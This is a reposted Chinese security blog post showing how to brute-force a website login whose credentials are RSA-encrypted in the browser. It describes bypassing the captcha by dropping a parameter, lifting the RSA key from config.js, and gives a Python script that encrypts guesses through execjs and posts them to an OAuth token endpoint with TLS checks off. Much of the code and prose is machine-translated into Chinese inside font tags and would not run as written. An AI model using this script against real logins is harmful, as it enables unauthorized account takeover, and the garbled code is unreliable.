前端RSA被丑爆破脚本

admin 2022年3月3日10:26:50评论74 views字数 4756阅读15分51秒阅读模式

前端RSA被丑爆破脚本

某网站登录的时候如下:


前端RSA被丑爆破脚本


然后我删除j_authcode以及一些有用的参数,可以绕过图形验证码


前端RSA被丑爆破脚本


那么这样就可以进行爆破了。不过我们可以看到用户名和密码,这究竟是什么玄妙呢?我们来看看前端代码。


前端RSA被丑爆破脚本


可以看到这里是RSA智能。然后通过断点查看指数和模量的值。


前端RSA被丑爆破脚本


值是,搜索后发现就存储config.js中,固定私钥在RSA的模数。

但这是一个 256 位公钥的 RSA,在其他环境中几乎找不到这种可能性的项目,而 js 出现了 RSA.js/Barrett.js/BigInt.js 这么一个早期项目。这种时候就需要用python去调js代码来进行洗。

先写出js智能的代码来看看效果:


<font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><s cript src="./rsa/RSA.js" type="text/j avas cript"></s cript></font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><s cript src="./rsa/BigInt.js" type="text/j avas cript"></s cript></font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><s cript src="./rsa/Barrett.js" type="text/j avas cript"></s cript></font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><s cript src="./rsa/config.js" type="text/j avas cript"></s cript></font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"><脚本></font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">功能(参数Str){</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    设置最大数字(130);</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    密钥 = 新 RSAKeyPair(指数,“”,模数);</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    返回 encryptedString(key,encodeURIComponent(paramStr));</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    }</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">qqq= a("管理员");</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">一个提醒(QQ);</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"></s 脚本></font></font>


前端RSA被丑爆破脚本


这里可以看到和Burp Suite里是一模一样,然后把4个js带html里的js代码合并到同一个文件里,用python的execjs库去调。

<font style="vertical-align: inherit;"><font style="vertical-align: inherit;">导入 execjs</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">defrsa(str):</font></font><font></font><font></font><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">    文件 = 'RSA.js'</font></font><font></font><font></font>    ctx = execjs.compile(open(file).read())<font></font><font></font>    js = 'a("'+str+'")'<font></font><font></font>    params = ctx.e val(js)<font></font><font></font>    return params<font></font><font></font>print(rsa("admin"))<font></font><font></font>[align=left]


前端RSA被丑爆破脚本


写出来最后破破的剧本:

import requests<font></font><font></font>import execjs<font></font><font></font>requests.packages.urllib3.disable_warnings()<font></font><font></font>defurlpost(username,password):<font></font><font></font>    rusername = rsa(username)<font></font><font></font>    rpassword = rsa(password)<font></font><font></font>    url = "https://x.com/oauth/token"<font></font><font></font>    header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Gecko/20100101 Firefox/79.0",<font></font><font></font>          "X-Requested-With": "X MLHttpRequest",<font></font><font></font>          "Content-Type": "application/x-www-form-urlencoded"<font></font><font></font>          }<font></font><font></font>    cookie = {}<font></font><font></font>    data = {"username":rusername,<font></font><font></font>            "password":rpassword,<font></font><font></font>            "grant_type":"password",<font></font><font></font>            "scope":"service",<font></font><font></font>            "client_id":"spm",<font></font><font></font>            "client_secret":"sinoprof"<font></font><font></font>            }<font></font><font></font>    r =requests.post(url,cookies=cookie,headers=header,data=data,allow_redirects=False,verify=False)<font></font><font></font>    print(r.status_code)<font></font><font></font>    if r.status_code == 200:<font></font><font></font>        print(username+password+"success")<font></font><font></font>        exit()<font></font><font></font>    else:<font></font><font></font>        print(username+password+"error")<font></font><font></font>defrsa(str):<font></font><font></font>    file = 'RSA.js'<font></font><font></font>    ctx = execjs.compile(open(file).read())<font></font><font></font>    js = 'a("'+str+'")'<font></font><font></font>    params = ctx.e val(js)<font></font><font></font>    return params<font></font><font></font>folist= open('user.txt','r')<font></font><font></font>for i in folist.readlines():<font></font><font></font>    i = i.replace('n','')<font></font><font></font>    urlpost(i,i+"!@#456")<font></font><font></font>    urlpost(i,i+"!@#123")<font></font><font></font>    urlpost(i,"123456")


最终效果如下图所示:


前端RSA被丑爆破脚本


前端RSA被丑爆破脚本

本文始发于微信公众号(疯猫网络):前端RSA被丑爆破脚本

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月3日10:26:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   前端RSA被丑爆破脚本http://cn-sec.com/archives/503351.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息